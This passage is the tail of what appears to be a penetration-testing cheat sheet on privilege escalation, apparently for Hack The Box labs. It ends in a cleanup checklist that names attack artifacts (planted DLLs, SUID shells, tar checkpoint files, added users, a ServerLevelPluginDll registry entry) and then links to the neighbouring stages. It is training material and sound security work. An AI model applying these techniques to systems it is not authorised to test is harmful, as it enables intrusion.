   1293 > - [ ] Cleanup: revert binpaths/units/SDDLs, remove added users & MSI, delete planted DLLs/SUID shells/`--checkpoint*` files, restore ACLs/ownership, remove `ServerLevelPluginDll`
   1294 > - [ ] Artifacts + evidence documented for [Stage 11](/sheets/pentest-workflow/documentation-and-reporting)
   1295 
   1296 ---
   1297 
   1298 > [!navigation] Continue the attack flow
   1299 > **Previous:** [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting)
   1300 >
   1301 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
   1302 >
   1303 > **Next:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)